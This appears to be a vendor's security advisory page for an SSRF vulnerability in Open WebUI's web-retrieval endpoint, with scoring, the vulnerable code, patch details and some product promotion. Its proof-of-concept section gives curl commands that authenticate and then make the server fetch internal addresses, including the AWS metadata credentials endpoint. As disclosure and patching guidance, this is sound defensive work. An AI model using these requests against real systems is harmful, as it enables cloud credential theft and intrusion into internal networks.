GHSA-c6xv-rcvw-v685 is a high-severity (CVSS 8.5) Server-Side Request Forgery (SSRF) vulnerability in open-webui. A fix is available for open-webui — see the affected versions and patch details below.
Open WebUI vulnerable to Server-Side Request Forgery (SSRF) via Arbitrary URL Processing in /api/v1/retrieval/process/web
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-c6xv-rcvw-v685.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-c6xv-rcvw-v685 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,567 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
open-webuiReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
A Server-Side Request Forgery (SSRF) vulnerability in Open WebUI allows any authenticated user to force the server to make HTTP requests to arbitrary URLs. This can be exploited to access cloud metadata endpoints (AWS/GCP/Azure), scan internal networks, access internal services behind firewalls, and exfiltrate sensitive information. No special permissions beyond basic authentication are required.
Details
The vulnerability exists in the /api/v1/retrieval/process/web endpoint located in backend/open_webui/routers/retrieval.py at lines 1758-1767.
Vulnerable code: @router.post("/process/web") def process_web( request: Request, form_data: ProcessUrlForm, user=Depends(get_verified_user) ): try: collection_name = form_data.collection_name if not collection_name: collection_name = calculate_sha256_string(form_data.url)[:63]
content, docs = get_content_from_url(request, form_data.url) # ← SSRF vulnerability
The form_data.url parameter is passed directly to get_content_from_url() without any validation. This function chain ultimately calls web loaders that fetch arbitrary URLs:
Call chain:
- retrieval.py:1767 → get_content_from_url(request, form_data.url)
- retrieval/utils.py:77 → get_loader(request, url)
- retrieval/utils.py:62 → get_web_loader(url, ...) or YoutubeLoader(url, ...)
- Both loaders fetch the user-supplied URL without validation
No validation is performed for:
- Private IP ranges (RFC1918: 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
- Localhost addresses (127.0.0.0/8)
- Cloud metadata endpoints (169.254.169.254, fd00:ec2::254)
- Protocol restrictions (file://, gopher://, etc.)
- Domain allowlisting
PoC
Prerequisites: Valid user account (any role)
Step 1 - Authenticate:
TOKEN=$(curl -s "http://localhost:3000/api/v1/auths/signin"
-H 'Content-Type: application/json'
-d '{"email":"[email protected]","password":"password"}'
| python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")
Step 2 - Basic SSRF Test (external URL):
curl -s "http://localhost:3000/api/v1/retrieval/process/web"
-H "Authorization: Bearer $TOKEN"
-H 'Content-Type: application/json'
-d '{"url":"http://example.com"}'
Result: Server fetches example.com and returns its content, proving the vulnerability.
{ "status": true, "file": { "data": { "content": "Example Domain This domain is for use in documentation..." } } }
Step 3 - Advanced Attack (AWS metadata):
curl -s "http://localhost:3000/api/v1/retrieval/process/web"
-H "Authorization: Bearer $TOKEN"
-H 'Content-Type: application/json'
-d '{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'
Result: Server exposes cloud credentials if running on AWS/GCP/Azure.
Other attack examples:
- Internal network: {"url":"http://192.168.1.1"}
- Localhost services: {"url":"http://localhost:5432"}
- Internal APIs: {"url":"http://internal-api.local"}
Impact
Who is affected: All authenticated users (no special permissions required)
Attack capabilities:
- Cloud Environment Compromise - Steal AWS/GCP/Azure credentials via metadata endpoints - Result: Full cloud account takeover
- Internal Network Access - Bypass firewalls to access internal services (databases, admin panels, APIs) - Port scan and map internal infrastructure - Result: Complete network visibility
- Data Exfiltration - Read internal documentation, configurations, secrets - Access Kubernetes API servers - Result: Credential theft, API key exposure
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | open-webui | all versions | 0.6.37pip install --upgrade 'open-webui==0.6.37' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for open-webui, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update open-webui to 0.6.37 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-c6xv-rcvw-v685 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-c6xv-rcvw-v685 can be triaged on real exposure rather than presence alone.
Tailored to GHSA-c6xv-rcvw-v685. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-c6xv-rcvw-v685 in your dependencies?
O3 Security finds GHSA-c6xv-rcvw-v685 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.